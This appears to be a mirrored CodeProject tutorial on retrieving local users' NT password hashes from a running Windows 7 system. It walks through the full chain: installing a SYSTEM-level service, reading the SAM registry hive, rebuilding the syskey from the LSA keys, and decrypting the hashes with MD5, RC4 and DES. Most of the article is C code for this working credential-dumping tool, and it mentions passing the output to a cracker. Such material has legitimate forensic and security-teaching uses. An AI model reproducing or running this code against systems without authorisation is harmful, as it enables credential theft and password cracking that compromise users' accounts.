Retrieve the Windows 7 Password Hash on the Fly

来源:互联网 发布:mac地址长度为多少位 编辑:程序博客网 时间:2024/05/18 00:56

http://www.codeproject.com/Articles/332942/Retrieve-the-Windows-7-Password-Hash-on-the-Fly

When it comes to getting access to the Windows password, there are a couple of tools available, like the well known samdump, but they often require the user to get access to hard disc by booting the system with another OS, and copy the encrypted files on a local drive. It is quite a heavy process, and there is quite a lack of documentation on how to retrieve the Windows password during a running session. So this article will show one way to do it.
To be more precise, we deal in this article with password hashes, as the passwords are stored in an encrypted form as we will see later. Secondly, the goal is here to gain access to local accounts, not the network ones.

So first of all, Windows passwords are stored encrypted, in a local machine. There is no way to read directly the clear text password from the hard disk. The best one could do is retrieve the MD4 hash of the password, MD4 is an old cryptographic hash algorithm. I will not go into the details of the different cryptographic algorithm, so a basic understanding of cryptography is required to grasp this article.

Before going into the specifics of how to gain access to this password hash, the first question is, what do we do once we get it? Unfortunately there is no existing algorithm to "reverse" an MD4 hash into the original clear text. But it is possible to solve the issue the other way around by generating MD4 hashes, and comparing them with the one found on the system. This is quite what Windows does during logon, it will hash the password input from the user and compare it with the "footprint" stored on the hard drive. And if both fit of course access is granted to the user.This is kind of easy as the cryptographic functions are supported natively on Windows through CryptoAPI. Some compiled tools are also easily available on the net.

So these MD4 hashes are stored in the so called SAM (Security Accounts Manager) in the SAM file under%WINDIR%\system32\config directory. The path is well known, the file is not even hidden. The problem is Windows completely restricts the access in such a way that even with a driver it is not possible to gain read or copy access to this file. That is why 90% of the tools available need a second OS running from a live CD for example, and when Windows is not booted the user simply copies these files on some drive to feed them to a cracker.

But what if we still want to retrieve the hash from a running box? Is there a way? The answer is yes there is, of course. It is not an easy way though, there are a many level of obfuscations, and most of the code available, like samdump are based on the OpenSSL library, which is not really user friendly in a Windows environment. In this article, we will mostly use the native CryptoAPI functions and forget about OpenSSL.

Some Theory

Strangely, although the SAM file is not accessible even from the highest privilege level, all information is also stored into registry hives and is not so well protected. Unfortunately, they are invisible to tools like regedit. We have to elevate to SYSTEM privilege and code our own tool to read the registry. For this to work, we need administrator privilege, but with UAC enabled or disabled, it works either way. For those unaware, services are a bit like drivers, they are started most of the time after logon (it is not mandatory, ours run on demand), and run at a higher privilege level than "normal" user code, but still less high than drivers. They are much more flexible to implement than drivers though.

Once we have started our service under system privilege, we can start with the forensic. Generally, two types of hash are stored in the SAM: the LanMan hash and the NT hash. From Vista and on the LM hash fully disappeared since it is a bit more insecure than the NT hash. So we will fully concentrate on the NT hash and forget about LM. In registry, the hashes for each user are stored under HKLM\SAM\SAM\Domains\Account\users\RID\ where RID is an hex value uniquely identifying a user on a machine. So we have to recursively read data for each RID to get every user's hash. Until Windows 2000, the "V" value under the registry key had simply to be decrypted (algorithm being simple DES) using a key based on the user ID.
Things got a little trickier after NT5 with the introduction of syskey enabled by default. First a so-called boot key has to be derived from four separate keys: HKLM\SYSTEM\CurrentControlSet\Control\Lsa\{JD,Skew1,GBG,Data} which are hidden in the key's Class attribute (also invisible with regedit). A permutation on the result has first to be performed to get the actual syskey.

With syskey in our hand, there a still 2 levels of obfuscation to perform, until we get to the final obfuscation key which will be fed to a simple DES decryption routine. The first level of obfuscation consists in calculating the MD5 hash of the syskey, part of the "F" value of the SAM entry plus some constants. The resulting hash is used as a key to decrypt, this time with the RC4 algorithm another part of "F" value of the SAM entry. Second level of obfuscation is similar, we calculate the MD5 hash of part of the syskey, the RID and one constant value. The result being again used as an RC4 encryption key to encrypt the "V" value of the SAM, this we will call the obfuscated hash.

It does not bring a lot to go more into details, as C code is almost easier to understand. After these several levels of obfuscation, we still have to generate a simple DES key based on the user's RID to decrypt the obfuscated hash. Finally, we have in our hand the MD4 hash.

Using the Code

Two projects are available along with this article, the first being the service, which actually does all the job of retrieving the information and decrypting it, and a User Interface in the form of a dialog box to start, stop and remove the service from the system. First time the user presses the "start" button, the program will ask for the location of the service executable. Then it registers the service in the system, and starts it. The service dumps the SAM hive, and stores user's profile information along with the decrypted Syskey and the MD4 NT hash. This log file is created in the same directory as the user interface.

The "generate" button calculates the MD4 hash of the input field and displays it below. It is simply here for illustration and to cross-check with the logfile.

In the resulting log file generated by the service, the user name is displayed, as well as the Syskey in Hex format, the user's Rid and the MD4 hash, also in hex.

The code has been successfully tested on 2 Windows 7 boxes, compiled in x64. It should work as well in x86, and on all versions of Windows supporting CryptoAPI.

The Code

Starting with the service (Project GetSAM), the entry point of the program is WinMain, which in returns defines the entry point of the service, the function GetSAMServiceMain:

int APIENTRY WinMain(HINSTANCE hProg, HINSTANCE hPrevInstance,     LPSTR lpCmdLine, int nCmdShow){SERVICE_TABLE_ENTRY DispatchTable[] ={    {"GetSAM", (LPSERVICE_MAIN_FUNCTION)&GetSAMServiceMain},    {NULL, NULL}};StartServiceCtrlDispatcher(DispatchTable);

In GetSAMServiceMain, we manage the different status accepted by the service. We also need to specify to the program the path of the current directory where it will save the log file, otherwise the service uses system32directory by default. This is done by passing the path as 1st argument when we call the StartService routine from the UI. Then we call RegistryEnumerateSAM which does main part of the job.

void GetSAMServiceMain(DWORD dwArgc, LPTSTR* lpszArgv){SERVICE_STATUS ServiceStatus;//Retrieve the log file path from the command lineif (dwArgc == 2){    lstrcpy(lpCurrentDirectory, lpszArgv[1]);}hServiceStatus = RegisterServiceCtrlHandlerEx("GetSAM",         (LPHANDLER_FUNCTION_EX)&HandlerFunction, NULL);if (!hServiceStatus)Write2LogFile("Error Registering service", 0);ZeroMemory(&ServiceStatus, sizeof(SERVICE_STATUS));ServiceStatus.dwServiceType = SERVICE_WIN32_OWN_PROCESS;ServiceStatus.dwCurrentState = SERVICE_RUNNING;ServiceStatus.dwControlsAccepted = SERVICE_ACCEPT_PRESHUTDOWN | SERVICE_ACCEPT_SHUTDOWN |    SERVICE_ACCEPT_STOP;SetServiceStatus(hServiceStatus, &ServiceStatus);//Call the real dump functionRegistryEnumerateSAM();

In the RegistryEnumerateSAM routine, we recursively read all of the registry SAM entries, each being named after the user's Rid. For each Rid, we call the DumpSam function.

while (1){    dwError = RegEnumKey(hSAM, indexSubKey, lpbuf, cchValueName);    switch (dwError){            case ERROR_SUCCESS:                rid = strtol(lpbuf, NULL, 16);                if (!rid)break;                else {                    DumpSam(lpbuf);

In DumpSam, we first read the so-called "V" block of the SAM, which contains information like the user's name, saved as Unicode string, or wide string. It means each character is stored on 2 bytes, the second byte being normally zero. The "V" block contains also the length of this Unicode String. More important, it stores the encrypted version of the NT hash along with its length. Below are the locations of these fields:

EnumerateRegValues(hSAM, "V", VBlock, &VBlockLen);dwNTHashLen = VBlock[0xAC] + 0x100*VBlock[0xAD] -4;dwUserNameLen = VBlock[0x10] + 0x100*VBlock[0x1a];for (i = 0; i < dwNTHashLen; i++){    nthash[i] = VBlock[VBlock[0xa8] + VBlock[0xa9]*0x100 + 4 + 0xcc + i];}for (i = 0; i < dwUserNameLen/2; i++){    UserNameA[i] = VBlock[VBlock[0xc] + VBlock[0xd]*0x100 + 0xcc + 2*i];}

To deobfuscate the NT hash, we need some other fields of the SAM registry entry. They are located at offset 0x70 and 0x80 of the "F" block. We call them respectively the FBox and the FFragment. Both are used during the first stage of deobfuscation.

EnumerateRegValues(hSAM, "F", FBlock, &FBlockLen);for (i = 0; i < 16; i++){    FBox[i] = FBlock[i + 0x70];}for (i = 0; i < 32; i++){    FFragment[i] = FBlock[i + 0x80];}

Next step is to retrieve the Syskey. As mentioned before, it consists of 4 different segments of information, each saved in the attribute class of the following registry keys:

#define REGISTRY_LSAJD "SYSTEM\\CurrentControlSet\\Control\\Lsa\\JD"#define REGISTRY_LSASKEW "SYSTEM\\CurrentControlSet\\Control\\Lsa\\Skew1"#define REGISTRY_LSAGBG "SYSTEM\\CurrentControlSet\\Control\\Lsa\\GBG"#define REGISTRY_LSADATA "SYSTEM\\CurrentControlSet\\Control\\Lsa\\Data"//We get the Class parameter as follows:dwError = RegQueryInfoKey(hKey, Class, &dwcClass,        NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL);//We need to convert the ASCII into hex formatfor (i = 0; i < 4; i++){    temp[0] = Class[2*i];    temp[1] = Class[2*i + 1];        RegistryKeyValue[i] = strtol(temp, &stop, 16);}

The resulting key (often called bootkey) needs actually to be re-ordered by using a permutation key p. This is the last step to perform to get the Syskey:

int p[] = {0x8, 0x5, 0x4, 0x2, 0xb, 0x9, 0xd, 0x3, 0x0, 0x6, 0x1, 0xc, 0xe, 0xa, 0xf, 0x7};//Re-arrange boot key with the help of the p-constantfor (i = 0; i < 16; i++){    syskey[i] = bootkey[p[i]];}

At this point, we have read from registry everything we need to know. Now we can start with the decryption process. We need to calculate the MD5 hash of 4 byte arrays: FBox, a constant array, the syskey, and a second constant. The code is straightforward, first we retrieve a handle to the Crypto Provider, then we initiate an MD5 hash, and we pass 4 byte arrays to it. In the last step, we retrieve the md5hash as such:

unsigned char aqwerty[] = "!@#$%^&*()qwertyUIOPAzxcvbnmQQQQQQQQQQQQ)(*@&%";unsigned char anum[] = "0123456789012345678901234567890123456789";//Peudo code://md5hash = MD5(FBox + aqwerty + bootkey + anum)if(!CryptAcquireContext(&hCryptProv, NULL, NULL, PROV_RSA_FULL, 0)){        ...if (!CryptCreateHash(hCryptProv, CALG_MD5, 0, 0, &hHash)){        ...if (!CryptHashData(hHash, FBox, 0x10, 0)){        ...if (!CryptHashData(hHash, aqwerty, 0x2f, 0)){        ...if (!CryptHashData(hHash, syskey, 0x10, 0)){        ...if (!CryptHashData(hHash, anum, 0x29, 0)){        ...if (!CryptGetHashParam(hHash, HP_HASHVAL, md5hash, &dwHashDataLen, 0)){        ...

We then use the resulting md5hash a a cryptographic RC4 key to decrypt the FFragment. This gives us the so-called hbootkey:

RC4Crypt(md5hash, FFragment, hbootkey);// which goes like this://First allocate a structure containing the RC4 key, along with some information:typedef struct {DWORD dwDefault;DWORD dwAlgID;DWORD dwKeyLen;BYTE Key[16];}KEY_BLOB;//Acquire the Cryptographic providerif(!CryptAcquireContext(&hCryptProv, NULL, NULL, PROV_RSA_FULL, CRYPT_VERIFYCONTEXT)){        ...//Copy the key inside the BLOBDesKeyBlob.dwDefault = 0x0208;DesKeyBlob.dwAlgID = CALG_RC4;DesKeyBlob.dwKeyLen = 0x10;for (i = 0; i < 16; i++){    DesKeyBlob.Key[i] = rc4_key[i];}        ...//Generate the key from the BLOBif (!CryptImportKey(hCryptProv, bDesKeyBlob, sizeof(DesKeyBlob),     0, CRYPT_EXPORTABLE, &hKey)){        ...//Retrieve the size of the working bufferif (!CryptEncrypt(hKey, (HCRYPTHASH)NULL, TRUE, 0, (BYTE *)NULL,     &dwWorkingBufferLength, 16)){        ...//Proceed with the actual encryptionif (!CryptEncrypt(hKey, (HCRYPTHASH)NULL, TRUE, 0, EncryptBuffer,     &dwWorkingBufferLength, dwEncryptedCypherLength)){        ...

Now for the second step of deobfuscation. We calculate the MD5 hash of 3 byte arrays, first the 16 first bytes of thehbootkey, the user's RID and a constant. The steps are exactly like before, so I will not detail them again:

unsigned char antpassword[] = "NTPASSWORD";//Pseudo code:md5hash = MD5 (hbootkey[0x0: 0x10] + RID + antpassword);

Again we use the resulting hash as a RC4 key to decrypt a field, this time the NT hash:

RC4Crypt(md5hash, nthash, obfkey);

The result is an encrypted version of the final MD4 hash of our password, this time the algorithm is simple DES. We still need a key for its decryption, it is based on the user's RID. I will use the OpenSSL functions as in samdump, there should be an equivalent provided by WinAPI, but as for now, it is unknown to me. From the rid, we generate two DES keys, called deskey1 and deskey2. Each will be used separately to decrypt one half of the obfuscated NT hash (obfkey). It goes like this:

for (i = 0; i < 0x8; i++){    obfkey1[i] = obfkey[i];}for (i = 0; i < 0x8; i++){    obfkey2[i] = obfkey[i + 0x8];}sid_to_key1(rid,(unsigned char *)deskey1);sid_to_key2(rid,(unsigned char *)deskey2);//where the OpenSSL functions followvoid str_to_key(unsigned char *str, unsigned char *key){      int i;      key[0] = str[0]>>1;      key[1] = ((str[0]&0x01)<<6) | (str[1]>>2);      key[2] = ((str[1]&0x03)<<5) | (str[2]>>3);      key[3] = ((str[2]&0x07)<<4) | (str[3]>>4);      key[4] = ((str[3]&0x0F)<<3) | (str[4]>>5);      key[5] = ((str[4]&0x1F)<<2) | (str[5]>>6);      key[6] = ((str[5]&0x3F)<<1) | (str[6]>>7);      key[7] = str[6]&0x7F;      for (i=0;i<8;i++) {            key[i] = (key[i]<<1);      }      des_set_odd_parity((DES_cblock *)key);}/* * Function to convert the RID to the first decrypt key. */void sid_to_key1(unsigned long sid,unsigned char deskey[8]){    unsigned char s[7];    s[0] = (unsigned char)(sid & 0xFF);    s[1] = (unsigned char)((sid>>8) & 0xFF);    s[2] = (unsigned char)((sid>>16) & 0xFF);    s[3] = (unsigned char)((sid>>24) & 0xFF);    s[4] = s[0];    s[5] = s[1];    s[6] = s[2];    str_to_key(s,deskey);}/* * Function to convert the RID to the second decrypt key. */void sid_to_key2(unsigned long sid,unsigned char deskey[8]){   unsigned char s[7];   s[0] = (unsigned char)((sid>>24) & 0xFF);   s[1] = (unsigned char)(sid & 0xFF);   s[2] = (unsigned char)((sid>>8) & 0xFF);   s[3] = (unsigned char)((sid>>16) & 0xFF);   s[4] = s[0];   s[5] = s[1];   s[6] = s[2];   str_to_key(s,deskey);}void des_set_odd_parity(DES_cblock *key){static const unsigned char odd_parity[256] = {    1,  1,  2,  2,  4,  4,  7,  7,  8,  8, 11, 11, 13, 13, 14, 14,    16, 16, 19, 19, 21, 21, 22, 22, 25, 25, 26, 26, 28, 28, 31, 31,    32, 32, 35, 35, 37, 37, 38, 38, 41, 41, 42, 42, 44, 44, 47, 47,    49, 49, 50, 50, 52, 52, 55, 55, 56, 56, 59, 59, 61, 61, 62, 62,    64, 64, 67, 67, 69, 69, 70, 70, 73, 73, 74, 74, 76, 76, 79, 79,    81, 81, 82, 82, 84, 84, 87, 87, 88, 88, 91, 91, 93, 93, 94, 94,    97, 97, 98, 98,100,100,103,103,104,104,107,107,109,109,110,110,    112,112,115,115,117,117,118,118,121,121,122,122,124,124,127,127,    128,128,131,131,133,133,134,134,137,137,138,138,140,140,143,143,    145,145,146,146,148,148,151,151,152,152,155,155,157,157,158,158,    161,161,162,162,164,164,167,167,168,168,171,171,173,173,174,174,    176,176,179,179,181,181,182,182,185,185,186,186,188,188,191,191,    193,193,194,194,196,196,199,199,200,200,203,203,205,205,206,206,    208,208,211,211,213,213,214,214,217,217,218,218,220,220,223,223,    224,224,227,227,229,229,230,230,233,233,234,234,236,236,239,239,    241,241,242,242,244,244,247,247,248,248,251,251,253,253,254,254};    int i;        for (i=0; i < 8; i++){        (*key)[i] = odd_parity[(*key)[i]];        }    return;}

These 2 deskey1 and deskey2 are fed to a DES BLOB array to generate 2 DES keys, which let us decryptobfkey1 and obfkey2:

if (!CryptDecrypt(hKey, (HCRYPTHASH)NULL, TRUE, 0, obfkey2, &dwWorkingBufferLength)){    /*FormatMessage(FORMAT_MESSAGE_FROM_SYSTEM, NULL, GetLastError(),            MAKELANGID(LANG_NEUTRAL, SUBLANG_DEFAULT), lpbuf, MAX_PATH, NULL);    Write2LogFile("Error decrypting:", 0);    Write2LogFile(lpbuf, 0);*/}for (i = 0; i < 0x8; i++){    NTpasswordHash[i] = obfkey1[i];}for (i = 0; i < 0x8; i++){    NTpasswordHash[i + 0x8] = obfkey2[i];}

As a result, we have retrieved 2 halves of the MD4 hash of our password. We convert it one last to time to hex, and we're done, we can save it in our log file!
I warned you the process is long and difficult, I hope you enjoyed it.

Now I will say some words about the user interface (called StartGetSAM). It is a regular dialog box, after having registered our window class and created our message loop processing routine, we have to deal with the user interaction:

switch(LOWORD(wParam)){        case BTN_QUIT:            SendMessage(hWnd, WM_DESTROY, 0, 0);        break;        case BTN_START:            GetCurrentDirectory(256, lpLogFilePath);            lstrcat(lpLogFilePath, "\\LogFile.txt");            StartServiceRoutine(lpLogFilePath);        break;        case BTN_REMOVE:            RemoveServiceRoutine();        break;        case BTN_STOP:            StopServiceRoutine();        break;        case ID_GEN:            GetDlgItemText(hWnd, EDIT_MD4, lpString2Hash, 256);            if (lstrlen(lpString2Hash) < 256)                GenerateMD4Hash(lpString2Hash);        break;

When the user tries to start the service, a common dialog box is opened to ask for the location of the serviceexecutable. Then we retrieve the current directory path, as it is the location where our service saves the log. We create the service as follows, please not the NT AUTHORITY\\SYSTEM parameter which is mandatory if we want to get the privileges to dump registry:

schService = CreateService(schSCManager, "GetSAM", "GetSAM", SC_MANAGER_ALL_ACCESS,        SERVICE_WIN32_OWN_PROCESS,        SERVICE_DEMAND_START, SERVICE_ERROR_IGNORE, lppath2Service,        NULL, NULL, NULL, "NT AUTHORITY\\SYSTEM", NULL);

That is quite it, to stop the service we call the function ControlService:

ControlService(schService, SERVICE_CONTROL_STOP, &ServiceStatus);

And to remove it the DeleteService API call:

if (!DeleteService(schService))MessageBox(NULL, "Unable to remove the service",    "Error", MB_OK);

A last word concerning the MD4 hash generation routine. This works exactly like in the service code when we hash MD5 byte arrays. Only trick, we must make sure we map the user's input to a wide character string like this:

//Convert to Unicode String-like    for (i = 0; i < 2*lstrlen(szString2Hash); i++){        WideInputString[2*i] = szString2Hash[i];    }

And this will be fed to our CryptoAPI routine. That's it, folks!

原创粉丝点击